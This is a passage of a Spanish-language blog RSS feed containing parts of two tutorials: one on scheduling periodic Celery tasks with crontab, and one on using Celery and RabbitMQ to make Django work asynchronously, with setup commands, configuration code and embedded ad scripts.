segundos (spam puro, ya sé).&lt;/p&gt;&#xA;&lt;p&gt;Una vez que estén corriendo los servicios de celery veremos como se empieza a ejecutar nuestra función cada 10 segundos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/EjecucionDeTareasPeriodicasCeleryBeat.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/EjecucionDeTareasPeriodicasCeleryBeat.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tareas periódicas ejecutándose en consola&#34; width=&#34;1904&#34; height=&#34;929&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Tareas de Celery con 10 segundos de diferencia entre sí&lt;/p&gt;&#xA;&lt;h2 id=&#34;tareas-calendarizadas-con-crontab&#34;&gt;Tareas calendarizadas con crontab&lt;/h2&gt;&#xA;&lt;p&gt;Que tal si en lugar de especificar un intervalo para ejecutar las tareas queremos que se ejecuten en una fecha en concreto, por ejemplo: todos los domingos a la 1:30 a.m.&lt;/p&gt;&#xA;&lt;p&gt;En lugar de calcular los segundos podemos crear un formato más amigable con la utilidad crontab que nos proporciona celery.&lt;/p&gt;&#xA;&lt;p&gt;Sí, estás en lo correcto, crontab comparte el formato con el archivo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;crontab que usa el daemon cron de GNU/Linux&lt;/a&gt;&#xA;, del que ya hablé en una entrada.&lt;/p&gt;&#xA;&lt;p&gt;Crontab se encargará de que el formato de ejecución sea todos los lunes a las 7:30 a.m.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery.schedules &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; crontab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.on_after_configure.connect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setup_periodic_tasks&lt;/span&gt;(sender, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sender&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_periodic_task(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        crontab(hour&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, minute&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;, day_of_week&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        send_my_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;s(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;from@example.com&amp;#39;&lt;/span&gt;, [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;to@example.com&amp;#39;&lt;/span&gt;]),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedes ver más detalles directo en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/userguide/periodic-tasks.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de Celery&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Además de crear tareas asíncronas, celery también permite crear tareas periódicas, que se ejecuten cada cierto tiempo. Esto puede ser bastante útil para darle mantenimiento a la base de datos cada cierto tiempo, enviar emails de marketing o de recuperación de carritos de compra, quizás incluso para vaciar el contenido de alguna cache temporal en la base de datos o cualquier tarea repetitiva en la que el tiempo de ejecución sea un factor importante, es decir para mejorar el rendimiento de una aplicación de django.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Cómo usar Django Framework de manera asíncrona usando Celery</title>
      <link>https://coffeebytes.dev/es/django/como-usar-django-framework-de-manera-asincrona-usando-celery/</link>
      <pubDate>Tue, 24 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-usar-django-framework-de-manera-asincrona-usando-celery/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Celery, en combinación con Django sirven para resolver un problema: la falta de asincronía en nuestra aplicación. El envío de un correo electrónico, el procesamiento de algún archivo o la respuesta al servicio de un tercero mantendrán nuestra ejecución en espera de que la tarea se finalice y, como consecuencia, a nuestro usuario esperando.&lt;/p&gt;&#xA;&lt;p&gt;Usar celery es una de las cosas que puedes hacer para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;mejorar el rendimiento de una aplicación en Django&lt;/a&gt;&#xA;. Y también puedes crear tareas periódicas con celery y django.&lt;/p&gt;&#xA;&lt;p&gt;Mira este ejemplo de vista:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.shortcuts import render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.http import JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;import &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def slowResponseView&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;request&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time.sleep&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse&lt;span style=&#34;color:#ff6ac1&#34;&gt;({&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;})&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como tras acceder a la url, &lt;strong&gt;la respuesta no aparece hasta transcurridos los 3 segundos&lt;/strong&gt;. Durante ese tiempo nuestra aplicación está ocupada. Ese &lt;em&gt;time.sleep()&lt;/em&gt; que causa el retraso podría representar un envío de correo electrónico, el tiempo de espera a una API externa, un cálculo muy costoso a nivel computacional o cualquier otra tarea que requiera mucho tiempo en llevarse a cabo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/slowResponseView-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/slowResponseView-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tarea costosa en tiempo retrasa la respuesta del servidor&#34; width=&#34;1000&#34; height=&#34;327&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La respuesta a la url demora 3 segundos&lt;/p&gt;&#xA;&lt;p&gt;Celery resuelve nuestro problema, manda esas tareas a una cola para que se ejecuten posteriormente, de manera asíncrona, y el código pueda continuar su ejecución.&lt;/p&gt;&#xA;&lt;p&gt;Así es, de seguro estás pensando que celery guarda similitudes con el async await de Javascript o Python. Sin embargo celery es mucho más robusto y con muchas más funcionalidades, tales como la programación de tareas periódicas (como en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;cron y crontab en GNU/Linux&lt;/a&gt;&#xA;) y además el monitoreo de estas, pero vamos por partes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-celery&#34;&gt;Instalación de celery&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a instalar celery para este ejemplo, la versión 5.1.2&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;celery==5.1.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalando-rabbitmq&#34;&gt;Instalando RabbitMQ&lt;/h2&gt;&#xA;&lt;p&gt;También necesitaremos RabbitMQ, que se encargará de servir como intermediario entre django y celery enviando mensajes y activando a los workers de este último para ejecutar las tareas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/RabbitMQEsquema.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/RabbitMQEsquema.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema básico del funcionamiento de RabbitMQ y Celery&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Esquema básico del funcionamiento de RabbitMQ y celery&lt;/p&gt;&#xA;&lt;p&gt;Tras lo anterior, comprueba que RabbitMQ se está ejecutando con el comando systemctl, update-rc, systemE o cualquiera que sea el administrador de procesos de tu sistema.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl status rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;● rabbitmq-server.service - RabbitMQ Messaging Server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Loaded: loaded &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/lib/systemd/system/rabbitmq-server.service; enabled; vendor preset: enabled&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Active: active &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;running&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; since Sat 2021-08-07 15:45:21 CDT; 1min 47s ago&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Main PID: &lt;span style=&#34;color:#ff9f43&#34;&gt;27808&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;rabbitmq-server&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al finalizar, RabbitMQ estará corriendo en el fondo y celery lo detectará automáticamente cuando se ejecute.&lt;/p&gt;&#xA;&lt;h2 id=&#34;configuracion-de-celery&#34;&gt;Configuración de celery&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a crear un archivo llamado &lt;em&gt;celery.py&lt;/em&gt; en el mismo nivel que nuestro archivo de configuraciones.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Y colocaremos el siguiente código:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Celery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Celery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;config_from_object(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.conf:settings&amp;#39;&lt;/span&gt;, namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;CELERY&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autodiscover_tasks()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La parte de arriba son las importaciones, mientras que en la parte de 